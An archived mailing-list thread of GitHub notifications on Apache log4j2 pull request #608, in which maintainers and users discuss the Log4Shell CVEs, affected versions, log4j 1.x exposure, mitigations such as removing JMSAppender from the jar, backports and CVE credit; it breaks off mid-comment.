Thanks, @jvz for confirming. It's just that the CVE [1] does not have that indication. The way is written, it sounds like it only applies to 2.15.0.
Does it mean that those who apply the mitigations to disable message lookup in 2.10-2.14.1 are vulnerable to the DoS attack?
[1] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] brunoborges commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
brunoborges commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-994139622
> DoS attack is applicable to the same version range as the RCE as well as including 2.15.0.
Thanks, @jvz for confirming. It's just that the CVE [1] does not have that indication. The way is written, it sounds like it only applies to 2.15.0.
[1] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] EmYiQing commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
EmYiQing commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-994307693
I reported this denial of Service Vulnerability (cve-2021-45046) to the logging PMC last week. Although I didn't propose threadcontext, I explained the trigger method of the denial of service vulnerability. In terms of time, I should have proposed it earlier, but I didn't see my name in the CVE credit. I hope my name can also be added to the CVE credit
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] rgoers commented on a change in pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
rgoers commented on a change in pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#discussion_r760302127
##########
File path: log4j-core/src/main/java/org/apache/logging/log4j/core/net/JndiManager.java
##########
@@ -168,21 +206,89 @@ protected boolean releaseSub(final long timeout, final TimeUnit timeUnit) {
* @throws NamingException if a naming exception is encountered
*/
@SuppressWarnings("unchecked")
- public <T> T lookup(final String name) throws NamingException {
+ public synchronized <T> T lookup(final String name) throws NamingException {
+ try {
+ URI uri = new URI(name);
+ if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
+ LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme());
+ return null;
+ }
+ if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
+ if (!allowedHosts.contains(uri.getHost())) {
+ LOGGER.warn("Attempt to access ldap server not in allowed list");
+ return null;
+ }
+ Attributes attributes = this.context.getAttributes(name);
Review comment:
I assume you mean the attributes associated with the returned item. All the attributes returned from LDAP for Java objects are specified in https://datatracker.ietf.org/doc/html/rfc2713.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] Marcono1234 edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
Marcono1234 edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991396409
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] lawndoc commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
lawndoc commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991297822
I think this [fix has been bypassed](https://twitter.com/stereotype32/status/1469313856229228544?s=20) and that the latest release is still vulnerable... Haven't verified this for myself yet, just reporting what I just found
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] lawndoc edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
lawndoc edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991297822
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] mosajjal commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
mosajjal commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991246265
Hi Team,
I know a lot of local Maven package managers don't pull the RC version of a release automatically (Nexus etc), is there a chance we can push RC2 to a stable release at this point? I'm assuming half the world is already using it.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] lawndoc commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
lawndoc commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991297822
I think this [fix has been bypassed](https://twitter.com/stereotype32/status/1469313856229228544?s=20) and that the latest release is still vulnerable... Haven't verified this for myself yet, just reporting what I just found
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] ceki commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
ceki commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991799399
> Handing over control of an application's logging system to untrusted users is already handing over the keys.
Yes, that is probably in many cases. However, one can imagine scenarios where there is an advantage to the attacker.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] remkop edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
remkop edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-990494126
> Hi @rgoers, is log4j 1.x vulnerable?
Hi @yuezk, as far as I can tell, log4j 1.x does not support lookups. ~~I also could not find any other reference to JNDI in the [log4j 1.x source code](http://svn.apache.org/viewvc/logging/log4j/trunk/). So, no guarantees but it looks like 1.x is not impacted by this vulnerability.~~ **_CORRECTION_**: **log4j 1.x contains a JMS Appender which can use JNDI. So I would say that, yes, log4j 1.x is also impacted by this vulnerability** (Thank you @garydgregory for pointing this out).
**Update (2021-12-11 09:09 JST): according to [this analysis](https://twitter.com/ceki/status/1469449618316533762) by @ceki (the author of log4j 1.x), Log4j 1.x is not impacted, since it does not have lookups, and the JMS Appender only loads Strings from the remote server, not serialized objects.**
**Update (2021-12-12 10:09 JST): according to [this analysis](https://github.com/apache/logging-log4j2/pull/608#issuecomment-991723301) by @TopStreamsNet, strictly speaking, applications using Log4j 1.x may be impacted if their configuration uses JNDI. However, the risk is much lower.**
Note that log4j 1.x is [End of Life](https://logging.apache.org/log4j/1.2/) and has [other security vulnerabilities](https://www.cvedetails.com/cve/CVE-2019-17571/) that will not be fixed. ~~So we do not recommend using log4j 1.x as a way to avoid this security vulnerability.~~ The recommendation is to upgrade to 2.15.0.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] philipwhiuk commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
philipwhiuk commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991305906
> https://logging.apache.org/log4j/1.2/apidocs/org/apache/log4j/net/JMSAppender.html
This presumably requires configuring the appending though, so a simple FileAppender ConsoleAppender wouldn't be vulnerable?
There's no lookup expansion in 1.x, right?
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] carterkozak commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
carterkozak commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991896511
@GSPP that was resolved in 2.15 via https://github.com/apache/logging-log4j2/commit/001aaada7dab82c3c09cde5f8e14245dc9d8b454
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] garydgregory commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
garydgregory commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-994184923
Hello Jan,
Thank you for asking for clarification, we need to make our message as
clear as possible.
"If mitigations, such as e.g., "-Dlog4j2.formatMsgNoLookups=true’" are
insufficient against RCE, is it in fact true that 2.15.0 itself is
insufficient against RCE?"
Correct, you must use 2.16.0 or 2.12.2 (if an app is stuck on Java 7) for
full protection.
I am sure we will continue to improve our documenting this issue.
Gary
On Tue, Dec 14, 2021 at 7:44 PM Jan Schaumann ***@***.***>
wrote:
> The message lookup mitigations aren't sufficient to protect from either
> the DoS or RCE attacks.
>
> If mitigations, such as e.g., "-Dlog4j2.formatMsgNoLookups=true’" are
> insufficient against RCE, is it in fact true that 2.15.0 itself is
> insufficient against RCE?
>
> The advisory is not quite clear on this and can be read either way
> ("2.15.0, while vulnerable to DoS, is sufficient against RCE, while
> mitigations in <2.15.0 are not" or "2.15.0 is vulnerable both to DoS and to
> RCE"), but since it's my understanding that 2.15.0 is (effectively)
> functionally equivalent to 2.14.x with "-Dlog4j2.formatMsgNoLookups=true’",
> it seems to me that 2.15.0 remains vulnerable to RCE.
>
> Is this interpretation correct?
>
> In either case, can https://logging.apache.org/log4j/2.x/security.html
> and the CVE be updated to be very explicit about this?
>
> —
> You are receiving this because you were mentioned.
> Reply to this email directly, view it on GitHub
> <https://github.com/apache/logging-log4j2/pull/608#issuecomment-994182074>,
> or unsubscribe
> <https://github.com/notifications/unsubscribe-auth/AAJB6N7QWWDLX62RHKN2P5TUQ7QIDANCNFSM5JA3ZEGA>
> .
> Triage notifications on the go with GitHub Mobile for iOS
> <https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675>
> or Android
> <https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub>.
>
>
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] tony-- commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
tony-- commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-993190702
Thanks for the confirmation @jvz. Yes, I plan on removing SocketServer for [CVE-2019-17571](https://nvd.nist.gov/vuln/detail/CVE-2019-17571). FWIW, anyone using 1.2.17 might also want to remove SMTPAppender for [CVE-2020-9488](https://nvd.nist.gov/vuln/detail/CVE-2020-9488).
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] quericy commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
quericy commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-993403846
> > @remkop Hi! Thanks for your work and the community correspondence.
> > Do you have any plans to backport the correspondence to this vulnerability to older versions of the 2.x?
>
> I would also appreciate if security fixes could be back ported to 2.12.x as this is the last version that supports Java 7. We're still supporting Java 7 in the Elastic APM Java agent so we can't upgrade to 2.15.0, which requires Java 8. We fixed the vulnerability by excluding `JndiLookup` but this still causes vulnerability scanners to emit warnings which creates a lot of friction (see [elastic/apm-agent-java#2332](https://github.com/elastic/apm-agent-java/pull/2332)).
>
> Is back porting security fixes to the 2.12.x branch something you would consider? Is it something we could help you with?
Hi, we provide a patch-version based on 2.12.1(supportd Java7) that we hope it will be helpful to you. Release: https://github.com/quericy/logging-log4j2/releases/tag/2.12.1.sec1 . The pull request: https://github.com/apache/logging-log4j2/pull/608
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] vlsi commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
vlsi commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-993457975
> approach the Apache Software Foundation
That is exactly what I am doing.
> How does "unpaid volunteer" sound? ;-)
@garydgregory , I am a committer and a PMC member on Apache Calcite and Apache JMeter.
That is why I truly do not understand why it is that hard to roll 1.2.18 out. I know there's "dist.apache.org, voting, site update, announce, etc" overheads.
I understand why do you want to stop bugfixes and features for 1.x branch, however, I believe this case is special, and it does not really take significant effort to remove several `.java` files.
Do you suggest log4j PMC should be paid $5000 for each +1 vote regarding 1.2.18?
I can prepare PR for the removal of the offending classes. That is a non-issue.
However, only log4j PMCs can vote and make the release happen.
Of course, I can fork log4j and publish it under new groupid:artifactid coordinates, however, it would look really weird, and Dependabot won't know that my log4j is a solution to the known issues.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] SpComb edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
SpComb edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-993560912
> I'm not quite sure what that means or where we should continue the discussion about that, if it s a new attack vector etc.
This should really have been reported privately, or at the minimum via a separate GitHub issue, rather than via a public GitHub PR comment.
For anyone else that may come across similar follow-up issues, I suggest you follow the instructions on the log4j project website, and use the private@logging.apache.org email address: https://logging.apache.org/log4j/2.x/security.html
> If you have encountered an unlisted security vulnerability or other unexpected behaviour that has security impact, or if the descriptions here are incomplete, please report them privately to the [Log4j Security Team](private@logging.apache.org). Thank you.
If this does turn out to be a new attack vector, it probably needs a new CVE number. I've attempted to contact the relevant security contacts to take this further, I don't know what else to do.
EDIT: https://issues.apache.org/jira/browse/LOG4J2-3221 new Jira ticket for tracking this issue, which strictly speaking isn't relevant to the JNDI restrictions in this PR. The `log4j2.allowedJndiProtocols/Hosts/Classes` defaults implemented in https://github.com/apache/logging-log4j2/pull/608 / 2.15.0 are good, and the `log4j2.enableJndi=false` in https://github.com/apache/logging-log4j2/commit/44569090f1cf1e92c711fb96dfd18cd7dccc72ea / 2.15.1-rc1 / 2.16.0 are even better.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] iamamoose commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
iamamoose commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-993792625
Please see https://lists.apache.org/thread/83y7dx5xvn3h5290q1twn16tltolv88f relating to CVE-2021-45046 (addressed by 2.16.0)
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] UditE5 commented on a change in pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
UditE5 commented on a change in pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#discussion_r774917352
##########
File path: log4j-core/src/test/java/org/apache/logging/log4j/core/lookup/JndiLdapLookupTest.java
##########
@@ -0,0 +1,124 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache license, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the license for the specific language governing permissions and
+ * limitations under the license.
+ */
+package org.apache.logging.log4j.core.lookup;
+
+import javax.naming.Context;
+import javax.naming.NamingException;
+import javax.naming.Reference;
+import javax.naming.Referenceable;
+import javax.naming.StringRefAddr;
+
+import org.apache.logging.log4j.Level;
+import org.apache.logging.log4j.message.SimpleMessage;
+import org.junit.BeforeClass;
+import org.junit.Rule;
+import org.junit.Test;
+import org.zapodot.junit.ldap.EmbeddedLdapRule;
+import org.zapodot.junit.ldap.EmbeddedLdapRuleBuilder;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+
+/**
+ * JndiLookupTest
Review comment:
yes need to write a more generic test
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] ancms2600 edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
ancms2600 edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992140388
> If you look at how jndi works in 1.x you will find that there are two places where lookups are done - that is JMSAppender.java:207 and JMSAppender.java:222
For those of us who are stuck with 1.x and paranoid, it looks like we could just always throw here and repackage the 1.x release `.jar`:
https://github.com/apache/log4j/blob/trunk/src/main/java/org/apache/log4j/net/JMSAppender.java#L245
Thoughts?
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] garydgregory commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
garydgregory commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992591852
> Thanks a lot for all of your efforts regarding this fix.
>
> Does changing the log level to OFF also close the attack vector for Log4J 2.x?
From our docs:
The set of built-in levels includes ALL, TRACE, DEBUG, INFO, WARN, ERROR, FATAL, and OFF. Log4j 2 also supports custom log levels. Another mechanism for getting more granularity is to use Markers instead. The OFF and ALL levels are not intended to be used on calls to the logging API. Specifying OFF in the configuration implies no logging events should match while specifying ALL would mean all events match, including custom events. However, OFF can be used on logging API calls in special cases where the event should always be logged regardless of the configuration. However, it is generally recommended that a Marker with a corresponding global Marker Filter be used instead.
See https://logging.apache.org/log4j/2.x/manual/architecture.html
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] bynt commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
bynt commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992895039
> > The confusion is made worse as this is a RedHat "CVE" which is not registered with cve.org.
>
> It was just pushed to cve.org and should be visible soon. We decided to keep the Red Hat allocated CVE to save creating yet another and rejecting theirs. The text of the entry was written by ASF.
Can You comment on why "write access to the Log4j configuration" is regarded as PR:N? The advisory by @Kirill89 and the Apache mailing list entry seem to suggest otherwise. Is this rooted in the CVSS specification?
> if a specific configuration is required for an attack to succeed, the vulnerable component should be scored assuming it is in that configuration.
https://www.first.org/cvss/specification-document#2-1-Exploitability-Metrics
Seems weird.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] chming1016 edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
chming1016 edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992342851
Just found out that RedHat publish CVE for the flaw in 1.x
https://access.redhat.com/security/cve/CVE-2021-4104
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] brunoborges edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
brunoborges edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-993000649
> Do I have to reboot the server afterwards to make it be effective?
> Or the other way round: does the effect of removing the class only exist until reboot resulting that I would have to run the zip... command every time after reboot?
@sellexx-stephan, you have to shutdown the JVM, modify the JAR files, and start again the process. Given this is Windows, JAR files may be locked and you won't be able to modify them.
Be careful if you have automatic deployments that may override the modified JAR files with original files.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] brunoborges commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
brunoborges commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-993112293
> sorry for asking twice.
> Would it match to shutdown tomcat, remove the lookup class using the zip command given in https://github.com/apache/logging-log4j2/pull/608#issuecomment-990305306 and then restart tomcat.
> Is that what you mean in case of tomcat? I appreciate answer. Thanks.
Yes
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] felixbarny commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
felixbarny commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992683138
> @remkop Hi! Thanks for your work and the community correspondence.
> Do you have any plans to backport the correspondence to this vulnerability to older versions of the 2.x?
I would also appreciate if security fixes could be back ported to 2.12.x as this is the last version that supports Java 7.
We're still supporting Java 7 in the Elastic APM Java agent so we can't upgrade to 2.15.0, which requires Java 8. We fixed the vulnerability by excluding `JndiLookup` but this still causes vulnerability scanners to emit warnings which creates a lot of friction (see https://github.com/elastic/apm-agent-java/pull/2332).
Is back porting security fixes to the 2.12.x branch something you would consider? Is it something we could help you with?
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] tony-- commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
tony-- commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992886229
@Kirill89 @ceki please confirm.
Does removing JMSAppender completely mitigate what Snyk is describing as [SNYK-JAVA-LOG4J-2316893](https://security.snyk.io/vuln/SNYK-JAVA-LOG4J-2316893), that is CVE-2021-44228 as it pertains to Log4j 1.2.17.
That is
`zip -q -d log4j-1.2.17.jar org/apache/log4j/net/JMSAppender.class`
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] tony-- commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
tony-- commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-993170115
> > The confusion is made worse as this is a RedHat "CVE" which is not registered with cve.org.
>
> It was just pushed to cve.org and should be visible soon. We decided to keep the Red Hat allocated CVE to save creating yet another and rejecting theirs. The text of the entry was written by ASF.
@iamamoose
Can someone from ASF confirm that an effective mitigation for CVE-2021-4104 is to remove JMSAppender from log4j-1.2.x.jar? Would it be possible to include that in the CVE description? This would be similar to the strategy identified for CVE-2021-44228 as well as the informal strategy used for CVE-2019-17571. It's clear based on all of the discussion that many are interested in how to deal with this in Log4j 1.x, so it would be great if there was a clear mitigation defined. If not in the CVE description, perhaps in a JIRA entry or a mailing list message?
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] remkop commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
remkop commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991387493
> When there are literally millions of log4j 1.x users out there, can you stop toying around?
>
> There is no lookup expansion in log4j 1.x and it does not suffer from [CVE-2021-44228](https://github.com/advisories/GHSA-jfh8-c2jp-5v3q). How hard is it to admit?
Hi @ceki, thank you for clarifying that Log4j 1.x is not impacted by this vulnerability. I updated my previous comments by linking to [your analysis on Twitter](https://twitter.com/ceki/status/1469449618316533762), happy to link to other sources as well.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] ceki edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
ceki edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992730958
Regarding `JMSAppender `vulnerability, it has to be placed in the log4j.xml configuration file with a corrupt parameter. If the log4j.xml configuration file is write protected for all users including its owner, it would be quite difficult to override it with corrupt instructions. For more details, please read [my log4jShell comments](http://slf4j.org/log4shell.html)
In my opinion, protecting log4j.xml is actually as relevant as worrying about patching `JMSAppender`, if not more.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] bynt edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
bynt edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992895039
> > The confusion is made worse as this is a RedHat "CVE" which is not registered with cve.org.
>
> It was just pushed to cve.org and should be visible soon. We decided to keep the Red Hat allocated CVE to save creating yet another and rejecting theirs. The text of the entry was written by ASF.
Can You comment on why "write access to the Log4j configuration" is regarded as PR:N? The advisory by @Kirill89 and the Apache mailing list entry seem to suggest otherwise. Is this rooted in the CVSS specification?
> if a specific configuration is required for an attack to succeed, the vulnerable component should be scored assuming it is in that configuration.
https://www.first.org/cvss/specification-document#2-1-Exploitability-Metrics
Seems weird.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] sourabhsparkala commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
sourabhsparkala commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992317971
Hello Team,
Re-reading through this long list of comments. I apologize for asking this again.
- log4j 1.x should be safe as long as we do what exactly?
- Any mitigation available as of now?
Please let me know.
Thanks
Sourabh
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] iamamoose commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
iamamoose commented on pull request #608:
